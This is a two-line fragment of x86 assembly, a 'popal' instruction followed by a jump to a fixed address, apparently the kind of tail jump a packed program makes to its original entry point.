popal
jmp 0x40f21d